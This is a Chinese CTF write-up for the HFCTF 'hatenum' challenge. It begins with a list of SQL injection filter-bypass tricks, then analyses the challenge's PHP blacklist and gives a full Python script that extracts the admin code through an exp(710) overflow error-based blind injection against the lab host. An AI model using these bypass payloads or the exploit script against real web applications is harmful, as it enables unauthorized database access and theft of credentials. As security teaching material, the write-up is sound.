HFCTFhatenum

文章目录

- 总结一下sql注入常见的绕过姿势

- 题目分析

- 编写exp


关于sql注入的绕过姿势

对于空格的绕过
  • 换成 /**/ /!/
  • 用编码绕过
  • 加括号绕过

对于引号的绕过

  • 用十六进制绕过
    1
    select column_name  from information_schema.tables where table_name="users"
    十六进制替换后
    1
    select column_name  from information_schema.tables where table_name=0x7573657273

对于逗号的绕过

  • 可以用from或者offset来绕过

比较符号(<>)绕过(过滤了<>:sqlmap盲注经常使用<>,使用between的脚本

  • 可以使用greatest()、least()(前者返回最大值,后者返回最小值)
1
select * from users where id=1 and ascii(substr(database(),0,1))>64

替换后为下面语句

1
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64

大小写绕过

双写绕过

=号的绕过

  • 可以用regexp,like等来替换

内联注释绕过:

1
id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#

通用绕过(编码)

1
or 1=1%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。

- 题目分析

拿到源码审计后可以发现几乎将所有的可用的注入方法都过滤掉了,然而笨比我还企图绕过各种过滤进行insert的报错注入,也试过异或注入,但是各种注入都需要同时绕过一些标点符号,始终构造不出来,最终发现常规的注入不太现实。

1
2
3
if(preg_match('/union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |\*|,|;|\r|\n|\t|substr|right|left|mid/i', $str)){
die('Hack detected');
}

看到源码可以发现最重要的地方在于得到admin用户名的code,所以这个地方应该可以通过注入获得code的值,然后得到flag
在这里插入图片描述
后来问了一下大佬才发现可以用exp(710)的溢出报错简单来说指数函数为对数函数的反函数,exp()即为以e为底的对数函数,但当传递一个大于709的值时,函数exp()就会引起一个溢出错误。并且还会用到rlike,rlike后面是正则语句,返回0或1,则可以构造 ==||exp(710-(… rlike … ))== 。 下图是在本地复现,rlike可以匹配age中含有1的,返回1则为exp(709)不报错。
在这里插入图片描述
在这里插入图片描述
当匹配不到返回0则exp(710)报错
在这里插入图片描述

到这里题目思路就出来了

1
2
3
> - 'username' : "admin\\"    转义单引号造成错误闭合
> - 'password' : "||exp(710-(code rlike binary ....))#" 其中空格用编码绕过(chr(0x0c),引号用十六进制绕过
> - "code" : 1

题目限制了只有四个十六进制的数大小,则不能一个个爆破,但思路已经出来了,剩下就是写脚本了.
但是还有一个值得注意的问题就是因为rlike是对所有的进行匹配不是从开头,所以匹配过程中可能会出现多解,这个后面会说到

1
2
3
4
5
function num_waf($str){
if(preg_match('/\d{9}|0x[0-9a-f]{9}/i',$str)){
die('Huge num detected');
}
}

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import requests
import string
import binascii
def transfer_to_hex(num):
return ''.join([hex(ord(c)).replace('0x', '') for c in num])
def exp():
part = 'erg'
result = 'erg'
count = 0
temp = ''
alphabet = string.digits + string.ascii_letters
url = 'http://4e2056fd-b5b8-4e3c-b3df-86d99baa43c9.node3.buuoj.cn'
while(True):
temp = transfer_to_hex(part)
count = 0
for j in alphabet:
s = transfer_to_hex(j)
payload = "||exp(710-(code rlike binary 0x" + temp + s + "))#"
payload = payload.replace(' ',chr(0x0c))
# print(payload)
data = {
"username": "admin\\",
"password": payload,
"code": "1"
}
res = requests.post(url + "/login.php", data=data, allow_redirects=False)
# print(req.text)
if ('fail' in res.text):
count = count + 1
if count > 1:
print("1: " + result )
print("2: " + result[:-1] + j)
else:
part = part[1:] + j
result = result + j
print(result)
# print(part)
exp()
# ||exp(710-(code rlike binary 0x65726730))#
# ||exp(710-(code|rlike|binary|0x65))#

这个地方要先跑出前几个字符
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
然后用前三个第四个,第四个推第五个以此类推,但这里确实出现了多解,交换数字字母表的顺序会跑出来两种结果
在这里插入图片描述
在这里插入图片描述
仔细观察一下第一种结果后面形成了一种死循环则gh2u应该在gh23前面,则可以推测出code最终为

  • erghruigh2uygh23uiu32ig
    最后用admin\账号登录 密码用||1# 验证码用erghruigh2uygh23uiu32ig即可获得flag
    在这里插入图片描述
  • 总结一下:注入真的博大精深,多积累这些方法吧

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!